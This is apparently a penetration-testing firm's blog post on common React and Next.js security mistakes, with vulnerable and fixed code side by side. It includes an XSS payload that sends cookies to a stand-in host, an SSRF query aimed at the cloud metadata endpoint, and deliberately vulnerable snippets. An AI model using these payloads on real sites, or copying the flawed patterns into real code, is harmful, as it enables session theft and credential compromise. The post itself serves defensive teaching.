React and Next.js Security: Common Mistakes in Frontend Code | Lorikeet Security Skip to main content
Back to Blog

React and Next.js Security: Common Mistakes in Frontend Code

Lorikeet Security Team February 26, 2026 10 min read

React is often described as "secure by default" because JSX escapes rendered values. That is true for basic XSS through text interpolation. But the moment you step outside that narrow path, with dangerouslySetInnerHTML, with server-side rendering, with Next.js API routes and middleware, the attack surface expands dramatically.

We review React and Next.js codebases regularly, and the same patterns keep appearing. Here are the security mistakes we find most often, with code examples showing both the vulnerable pattern and the fix.


XSS Through dangerouslySetInnerHTML

React's JSX escaping only works when you render values as text content. The moment you use dangerouslySetInnerHTML, you're telling React to skip escaping entirely and inject raw HTML into the DOM. If that HTML comes from user input, you have stored or reflected XSS.

Vulnerable: Rendering user content as raw HTML
function Comment({ comment }) {
    // User-submitted comment rendered as raw HTML
    return (
        <div
            className="comment-body"
            dangerouslySetInnerHTML={{ __html: comment.body }}
        />
    );
}

// Attacker submits comment:
// <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
Secure: Sanitize HTML before rendering
import DOMPurify from 'dompurify';

function Comment({ comment }) {
    // Sanitize HTML to remove dangerous elements and attributes
    const sanitized = DOMPurify.sanitize(comment.body, {
        ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'li'],
        ALLOWED_ATTR: ['href', 'target', 'rel']
    });

    return (
        <div
            className="comment-body"
            dangerouslySetInnerHTML={{ __html: sanitized }}
        />
    );
}

We also look for XSS through href attributes accepting javascript: URLs, window.location assignments from URL parameters, and React's ref API being used to set innerHTML directly.


Exposed API Keys in Client Bundles

This is one of the most common and most preventable mistakes in React applications. Any environment variable prefixed with NEXT_PUBLIC_ (Next.js) or REACT_APP_ (Create React App) is embedded directly into the JavaScript bundle that ships to every user's browser.

Vulnerable: Secret key in client-accessible env var
// .env.local
NEXT_PUBLIC_STRIPE_SECRET_KEY=sk_live_abc123...
NEXT_PUBLIC_DATABASE_URL=postgresql://admin:[email protected]:5432

// components/PaymentForm.tsx
const stripe = new Stripe(process.env.NEXT_PUBLIC_STRIPE_SECRET_KEY);
// This key is now in every user's browser bundle
Secure: Keep secrets server-side only
// .env.local
STRIPE_SECRET_KEY=sk_live_abc123...          // No NEXT_PUBLIC_ prefix
NEXT_PUBLIC_STRIPE_PUBLISHABLE_KEY=pk_live_xyz...  // Only public key

// app/api/create-payment/route.ts (server-side only)
import Stripe from 'stripe';
const stripe = new Stripe(process.env.STRIPE_SECRET_KEY!); // Server only

export async function POST(req: Request) {
    const { amount } = await req.json();
    const intent = await stripe.paymentIntents.create({ amount, currency: 'usd' });
    return Response.json({ clientSecret: intent.client_secret });
}

During code reviews, we search the entire built output for leaked secrets. A quick scan of _next/static chunks often reveals database connection strings, internal API endpoints, third-party secret keys, and admin tokens that developers assumed were hidden because they used environment variables.

Quick check: Run grep -r "sk_live\|secret\|password\|private_key" .next/static/ on your Next.js build output. If anything comes back, you have exposed secrets in production.


Broken Authentication in Next.js Middleware

Next.js middleware is a popular place to implement authentication checks because it runs before every matched route. But middleware has significant security limitations that developers often miss.

In early 2025, CVE-2025-29927 demonstrated that Next.js middleware could be bypassed entirely by sending a specially crafted x-middleware-subrequest header. This affected any application that relied solely on middleware for authentication or authorization.

Vulnerable: Auth only in middleware
// middleware.ts - This is the ONLY auth check
export function middleware(request: NextRequest) {
    const token = request.cookies.get('session');
    if (!token && request.nextUrl.pathname.startsWith('/dashboard')) {
        return NextResponse.redirect(new URL('/login', request.url));
    }
}

// app/api/admin/users/route.ts - No auth check here
export async function GET() {
    // If middleware is bypassed, this data is exposed
    const users = await db.query('SELECT * FROM users');
    return Response.json(users);
}
Secure: Defense in depth with server-side checks
// middleware.ts - First layer of defense
export function middleware(request: NextRequest) {
    const token = request.cookies.get('session');
    if (!token && request.nextUrl.pathname.startsWith('/dashboard')) {
        return NextResponse.redirect(new URL('/login', request.url));
    }
}

// lib/auth.ts - Reusable auth verification
export async function requireAuth() {
    const session = await getServerSession();
    if (!session?.user) {
        throw new Error('Unauthorized');
    }
    return session.user;
}

// app/api/admin/users/route.ts - Auth enforced at the route level
export async function GET() {
    const user = await requireAuth(); // Always verify here too
    if (user.role !== 'admin') {
        return Response.json({ error: 'Forbidden' }, { status: 403 });
    }
    const users = await db.query('SELECT * FROM users');
    return Response.json(users);
}

The lesson from the React2Shell CVE and the middleware bypass is clear: never rely on a single layer for authentication. Middleware is a convenience layer, not a security boundary. Authorization must be enforced at the data access layer.


SSRF in getServerSideProps and Server Components

Server-Side Request Forgery (SSRF) is a server-side vulnerability, but it shows up constantly in Next.js applications because getServerSideProps, Server Components, and API routes make server-side HTTP requests from user-controlled input.

Vulnerable: User-controlled URL in server-side fetch
// pages/preview.tsx
export async function getServerSideProps(context) {
    const { url } = context.query;

    // Attacker sends: ?url=http://169.254.169.254/latest/meta-data/iam/
    const response = await fetch(url);
    const data = await response.text();

    return { props: { preview: data } };
    // Now the attacker can read AWS metadata, internal services, etc.
}
Secure: Validate and restrict URLs
import { URL } from 'url';

const ALLOWED_HOSTS = ['api.example.com', 'cdn.example.com'];

export async function getServerSideProps(context) {
    const { url } = context.query;

    try {
        const parsed = new URL(url);

        // Only allow HTTPS
        if (parsed.protocol !== 'https:') {
            return { notFound: true };
        }

        // Allowlist specific hosts
        if (!ALLOWED_HOSTS.includes(parsed.hostname)) {
            return { notFound: true };
        }

        // Block internal/private IP ranges
        // (use a library like 'ssrf-req-filter' for robust checking)

        const response = await fetch(parsed.toString());
        const data = await response.text();
        return { props: { preview: data } };
    } catch {
        return { notFound: true };
    }
}

SSRF in Next.js is especially dangerous when deployed on AWS, GCP, or Azure because attackers can reach cloud metadata endpoints (like 169.254.169.254) to steal IAM credentials, service account tokens, and environment variables. This frequently leads to full cloud account compromise.


Insecure API Routes

Next.js API routes (pages/api/ or app/api/) are full server-side endpoints, but developers often treat them with the same casualness as client-side code. Common mistakes include:

Vulnerable: Mass assignment in API route
// app/api/users/[id]/route.ts
export async function PATCH(req: Request, { params }) {
    const body = await req.json();
    // Attacker adds { "role": "admin" } to the request body
    const user = await prisma.user.update({
        where: { id: params.id },
        data: body  // Every field in the body is applied
    });
    return Response.json(user);
}
Secure: Explicitly pick allowed fields
// app/api/users/[id]/route.ts
export async function PATCH(req: Request, { params }) {
    const currentUser = await requireAuth();
    const body = await req.json();

    // Only allow specific fields to be updated
    const allowedFields = {
        name: body.name,
        email: body.email,
        avatar: body.avatar
    };

    // Remove undefined values
    const data = Object.fromEntries(
        Object.entries(allowedFields).filter(([_, v]) => v !== undefined)
    );

    const user = await prisma.user.update({
        where: { id: params.id },
        data
    });
    return Response.json(user);
}

Missing CSRF Protection

Single-page React applications that rely on cookie-based sessions are vulnerable to Cross-Site Request Forgery unless explicit CSRF protections are in place. Many developers assume that the SameSite cookie attribute solves this completely, but that's only partially true.

SameSite=Lax (the browser default) protects against CSRF on POST requests from cross-origin forms, but does not protect against GET requests that trigger state changes. SameSite=None provides no CSRF protection at all. And older browsers may not support SameSite at all.

For robust CSRF protection, we recommend:


Exposed Source Maps in Production

Source maps reverse the minification and bundling process, giving anyone with access the original source code of your application. This includes component names, internal route structures, business logic, inline comments (including TODOs referencing vulnerabilities), and sometimes even hardcoded values.

By default, Next.js generates source maps for production builds. If your deployment serves .map files publicly, your entire codebase is readable by anyone.

Fix: Disable source maps in production
// next.config.js
module.exports = {
    productionBrowserSourceMaps: false,  // Default is false, but verify

    // If you need source maps for error tracking (Sentry, etc.),
    // upload them to the service directly and don't serve them publicly
    sentry: {
        hideSourceMaps: true
    }
};

We check for exposed source maps in every web application assessment. When we find them, we use them to map out the full application structure, identify API endpoints, find hidden admin routes, and understand the business logic before we start testing. It's an attacker's dream.


Security Checklist for React and Next.js

Category What to Check
XSS Prevention No dangerouslySetInnerHTML with unsanitized input; no javascript: hrefs; sanitize user HTML with DOMPurify
Secrets No NEXT_PUBLIC_ or REACT_APP_ vars containing secrets; grep build output for leaked keys
Authentication Auth enforced at API route/data layer, not just middleware; session validation on every protected endpoint
SSRF URL allowlisting on all server-side fetches; block private IP ranges; no user-controlled redirect targets
API Routes Auth on every route; input validation; rate limiting; explicit field selection (no mass assignment)
CSRF CSRF tokens or Origin header checks on state-changing requests; SameSite=Strict or Lax cookies
Source Maps productionBrowserSourceMaps disabled; .map files not accessible in production
Dependencies npm audit clean; no known vulnerable packages; lock file committed and used in CI

For a deeper look at how we integrate these checks into development workflows, see our guide on DevSecOps and CI/CD security.

Get a security review of your React or Next.js app

Our team reviews React and Next.js codebases every week. We know where the vulnerabilities hide, and we'll find them before an attacker does.

-- views
Link copied!
Lorikeet Security

Lorikeet Security Team

Penetration Testing & Cybersecurity Consulting

We've completed 170+ security engagements across web apps, APIs, cloud infrastructure, and AI-generated codebases. Everything we publish here comes from patterns we see in real client work.

Lory waving

Hi, I'm Lory! Need help finding the right service? Click to chat!